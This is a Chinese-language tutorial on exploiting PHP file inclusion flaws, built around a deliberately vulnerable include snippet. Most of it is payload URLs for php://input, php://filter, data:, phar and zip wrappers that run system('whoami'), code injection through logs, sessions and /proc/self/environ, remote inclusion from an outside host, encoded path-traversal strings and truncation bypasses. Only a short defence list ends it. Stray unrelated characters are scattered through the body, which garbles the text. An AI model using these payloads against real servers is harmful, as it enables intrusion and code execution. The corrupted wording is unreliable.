php文件包含漏洞
相關(guān)函數(shù)
php中引發(fā)文件包含漏洞的通常是以下四個(gè)函數(shù):
include()
include_once()
require()
require_once()
1变汪、reuqire() 如果在包含的過(guò)程中有錯(cuò)伤为,比如文件不存在等,則會(huì)直接退出杀餐,不執(zhí)行后續(xù)語(yǔ)句干发。
2、include() 如果出錯(cuò)的話怜浅,只會(huì)提出警告铐然,會(huì)繼續(xù)執(zhí)行后續(xù)語(yǔ)句。
3恶座、require_once() 和 include_once() 功能與require() 和 include() 類似搀暑。但如果一個(gè)文件已經(jīng)被包含過(guò)了,則 require_once() 和 include_once() 則不會(huì)再包含它跨琳,以避免函數(shù)重定義或變量重賦值等問(wèn)題自点。
當(dāng)利用這四個(gè)函數(shù)來(lái)包含文件時(shí),不管文件是什么類型(圖片脉让、txt等等)桂敛,都會(huì)直接作為php文件進(jìn)行解析。測(cè)試代碼:
<?php
$file = $_GET['file'];
include $file;
?>
在同目錄下有個(gè)phpinfo.txt溅潜,其內(nèi)容為<? phpinof(); ?>
术唬。則只需要訪問(wèn):
index.php?file=phpinfo.txt
即可成功解析phpinfo。
分類
LFI(Local File Inclusion)
本地文件包含漏洞滚澜,顧名思義粗仓,指的是能打開(kāi)并包含本地文件的漏洞。大部分情況下遇到的文件包含漏洞都是LFI设捐。簡(jiǎn)單的測(cè)試用例如前所示借浊。
RFI(Remote File Inclusion)
遠(yuǎn)程文件包含漏洞。是指能夠包含遠(yuǎn)程服務(wù)器上的文件并執(zhí)行萝招。由于遠(yuǎn)程服務(wù)器的文件是我們可控的蚂斤,因此漏洞一旦存在危害性會(huì)很大。
但RFI的利用條件較為苛刻槐沼,需要php.ini中進(jìn)行配置
allow_url_fopen = On
allow_url_include = On
兩個(gè)配置選項(xiàng)均需要為On曙蒸,才能遠(yuǎn)程包含文件成功。
在php.ini中母赵,allow_url_fopen默認(rèn)一直是On逸爵,而allow_url_include從php5.2之后就默認(rèn)為Off。
文件包含場(chǎng)景
下面例子中測(cè)試代碼均為:
<?php
$file = $_GET['file'];
include $file;
?>
allow_url_fopen 默認(rèn)為 On
allow_url_include 默認(rèn)為 Off
若有特殊要求凹嘲,會(huì)在利用條件里指出师倔。
php偽協(xié)議
php://input
前提條件:
1. allow_url_include = On。
2. 對(duì)allow_url_fopen不做要求。
操作
index.php?file=php://input
POST參數(shù):
<? phpinfo();?>
php://filter
前提條件:無(wú)
操作:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
通過(guò)指定末尾的文件趋艘,可以讀取經(jīng)base64加密后的文件源碼疲恢,之后再base64解碼一下就行。雖然不能直接獲取到shell等瓷胧,但能讀取敏感文件危害也是挺大的显拳。
>>> import base64
>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")
b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"
其他操作:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一樣,少了read等關(guān)鍵字搓萧。在繞過(guò)一些waf時(shí)也許有用杂数。
phar://
前提條件:
1. php版本大于等于php5.3.0
操作:
假設(shè)有個(gè)文件phpinfo.txt,其內(nèi)容為<?php phpinfo(); ?>
瘸洛,打包成zip壓縮包揍移,指定絕對(duì)路徑
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
或者使用相對(duì)路徑(這里test.zip就在當(dāng)前目錄下)
index.php?file=phar://test.zip/phpinfo.txt
zip://
前提條件:
1. php版本大于等于php5.3.0
操作:
構(gòu)造zip包的方法同phar。
但使用zip協(xié)議反肋,需要指定絕對(duì)路徑那伐,同時(shí)將#
編碼為%23
,之后填上壓縮包內(nèi)的文件石蔗。
index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt
若是使用相對(duì)路徑罕邀,則會(huì)包含失敗。
data:URI schema
前提條件:
1. php版本大于等于php5.2
2. allow_url_fopen = On
3. allow_url_include = On
操作:
index.php?file=data:text/plain,<?php phpinfo();?>
index.php?file=data:text/plain,<?php system('whoami');?>
執(zhí)行命令:
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加號(hào)+
的url編碼為%2b
养距,PD9waHAgcGhwaW5mbygpOz8+
的base64解碼為:<?php phpinfo();?>
執(zhí)行命令:
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
的base64解碼為:<?php system('whoami');?>
包含session
前提條件:
session文件路徑已知诉探,且其中內(nèi)容部分可控。
操作:
php的session文件的保存路徑可以在phpinfo的session.save_path看到棍厌。
常見(jiàn)的php-session存放位置:
1. /var/lib/php/sess_PHPSESSID
2. /var/lib/php/sess_PHPSESSID
3. /tmp/sess_PHPSESSID
4. /tmp/sessions/sess_PHPSESSID
session的文件名格式為sess_[phpsessid]阵具。而phpsessid在發(fā)送的請(qǐng)求的cookie字段中可以看到。
要包含并利用的話定铜,需要能控制部分sesssion文件的內(nèi)容。暫時(shí)沒(méi)有通用的辦法怕敬。有些時(shí)候揣炕,可以先包含進(jìn)session文件,觀察里面的內(nèi)容东跪,然后根據(jù)里面的字段來(lái)發(fā)現(xiàn)可控的變量畸陡,從而利用變量來(lái)寫(xiě)入payload,并之后再次包含從而執(zhí)行php代碼虽填。
包含日志
訪問(wèn)日志
前提條件:
需要知道服務(wù)器日志的存儲(chǔ)路徑丁恭,且日志文件可讀。
操作:
很多時(shí)候斋日,web服務(wù)器會(huì)將請(qǐng)求寫(xiě)入到日志文件中牲览,比如說(shuō)apache。在用戶發(fā)起請(qǐng)求時(shí)恶守,會(huì)將請(qǐng)求寫(xiě)入access.log第献,當(dāng)發(fā)生錯(cuò)誤時(shí)將錯(cuò)誤寫(xiě)入error.log贡必。默認(rèn)情況下,日志保存路徑在 /var/log/apache2/庸毫。但如果是直接發(fā)起請(qǐng)求仔拟,會(huì)導(dǎo)致一些符號(hào)被編碼使得包含無(wú)法正確解析§撸可以使用burp截包后修改利花。
正常的php代碼已經(jīng)寫(xiě)入了 /var/log/apache2/access.log。然后進(jìn)行包含即可载佳。
在一些場(chǎng)景中炒事,log的地址是被修改掉的。你可以通過(guò)讀取相應(yīng)的配置文件后刚盈,再進(jìn)行包含羡洛。
SSH log
前提條件:
需要知道ssh-log的位置,且可讀藕漱。默認(rèn)情況下為 /var/log/auth.log
操作:
用ssh連接:
ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost
之后會(huì)提示輸入密碼等等欲侮,隨便輸入。然后在remotehost的ssh-log中即可寫(xiě)入php代碼肋联。之后進(jìn)行文件包含即可威蕉。
包含environ
前提條件:
1. php以cgi方式運(yùn)行,這樣environ才會(huì)保持UA頭橄仍。
2. environ文件存儲(chǔ)位置已知韧涨,且environ文件可讀。
操作:
/proc/self/environ中會(huì)保存user-agent頭侮繁。如果在user-agent中插入php代碼虑粥,則php代碼會(huì)被寫(xiě)入到environ中。之后再包含它宪哩,即可娩贷。
包含fd
跟包含environ類似。
包含臨時(shí)文件
php中上傳文件锁孟,會(huì)創(chuàng)建臨時(shí)文件彬祖。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄品抽。在臨時(shí)文件被刪除之前储笑,利用競(jìng)爭(zhēng)即可包含該臨時(shí)文件。
由于包含需要知道包含的文件名圆恤。一種方法是進(jìn)行暴力猜解突倍,linux下使用的隨機(jī)函數(shù)有缺陷,而window下只有65535中不同的文件名,所以這個(gè)方法是可行的赘方。
另一種方法是配合phpinfo頁(yè)面的php variables烧颖,可以直接獲取到上傳文件的存儲(chǔ)路徑和臨時(shí)文件名,直接包含即可窄陡。
包含上傳文件
前提條件:
千變?nèi)f化炕淮,不過(guò)至少得知道上傳的文件在哪,叫啥名字跳夭。涂圆。。
操作:
往往要配合上傳的操作币叹,不說(shuō)了润歉,太多了。
其余
一個(gè)web服務(wù)往往會(huì)用到多個(gè)其他服務(wù)颈抚,比如ftp服務(wù)踩衩,數(shù)據(jù)庫(kù)等等。這些應(yīng)用也會(huì)產(chǎn)生相應(yīng)的文件贩汉,但這就需要具體情況具體分析咯驱富。這里就不展開(kāi)了。
繞過(guò)姿勢(shì)
接下來(lái)聊聊繞過(guò)姿勢(shì)匹舞。平常碰到的情況肯定不會(huì)是簡(jiǎn)簡(jiǎn)單單的include $_GET['file'];
這樣直接把變量傳入包含函數(shù)的褐鸥。在很多時(shí)候包含的變量/文件不是完全可控的,比如下面這段代碼指定了前綴和后綴:
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
這樣就很“難”直接去包含前面提到的種種文件赐稽。
指定前綴
先考慮一下指定了前綴的情況吧叫榕。測(cè)試代碼:
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>
繞過(guò)操作
這個(gè)最簡(jiǎn)單了,簡(jiǎn)要的提一下姊舵。
現(xiàn)在在/var/log/test.txt文件中有php代碼<?php phpinfo();?>
晰绎,則利用../
可以進(jìn)行目錄遍歷,比如我們嘗試訪問(wèn):
include.php?file=../../log/test.txt
則服務(wù)器端實(shí)際拼接出來(lái)的路徑為:/var/www/html/../../log/test.txt括丁,也即/var/log/test.txt寒匙。從而包含成功。
編碼繞過(guò)
服務(wù)器端常常會(huì)對(duì)于../
等做一些過(guò)濾躏将,可以用一些編碼來(lái)進(jìn)行繞過(guò)。下面這些總結(jié)來(lái)自《白帽子講Web安全》考蕾。
- 利用url編碼
- ../
- %2e%2e%2f
- ..%2f
- %2e%2e/
- ..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
- 二次編碼
- ../
- %252e%252e%252f
- ..\
- %252e%252e%255c
指定后綴
接著考慮指定后綴的情況祸憋。測(cè)試代碼:
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
URL繞過(guò)操作
url格式
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
在遠(yuǎn)程文件包含漏洞(RFI)中,可以利用query或fragment來(lái)繞過(guò)后綴限制肖卧。
姿勢(shì)一:query(蚯窥?)
index.php?file=http://remoteaddr/remoteinfo.txt?
則包含的文件為 http://remoteaddr/remoteinfo.txt?/test/test.php
問(wèn)號(hào)后面的部分/test/test.php
,也就是指定的后綴被當(dāng)作query從而被繞過(guò)。
姿勢(shì)二:fragment(#)
index.php?file=http://remoteaddr/remoteinfo.txt%23
則包含的文件為 http://remoteaddr/remoteinfo.txt#/test/test.php
問(wèn)號(hào)后面的部分/test/test.php
拦赠,也就是指定的后綴被當(dāng)作fragment從而被繞過(guò)巍沙。注意需要把#
進(jìn)行url編碼為%23
。
利用協(xié)議繞過(guò)操作
前面有提到過(guò)利用zip協(xié)議和phar協(xié)議荷鼠。假設(shè)現(xiàn)在測(cè)試代碼為:
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
其中test.php內(nèi)容為:
<?php phpinfo(); ?>
利用zip協(xié)議句携,注意要指定絕對(duì)路徑
index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta
則拼接后為:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php
能成功包含。
長(zhǎng)度截?cái)嗬@過(guò)操作
前提條件:
php版本 < php 5.2.8
目錄字符串允乐,在linux下4096字節(jié)時(shí)會(huì)達(dá)到最大值矮嫉,在window下是256字節(jié)。只要不斷的重復(fù)./
index.php?file=././././牍疏。蠢笋。。省略鳞陨。昨寞。。././shell.txt
則后綴/test/test.php
厦滤,在達(dá)到最大值后會(huì)被直接丟棄掉援岩。
0字節(jié)截?cái)嗬@過(guò)操作
前提條件:
php版本 < php 5.3.4
index.php?file=phpinfo.txt%00
能利用00截?cái)嗟膱?chǎng)景現(xiàn)在應(yīng)該很少了:)
防御方案
1. 在很多場(chǎng)景中都需要去包含web目錄之外的文件,如果php配置了open_basedir馁害,則會(huì)包含失敗
2. 做好文件的權(quán)限管理
3. 對(duì)危險(xiǎn)字符進(jìn)行過(guò)濾等等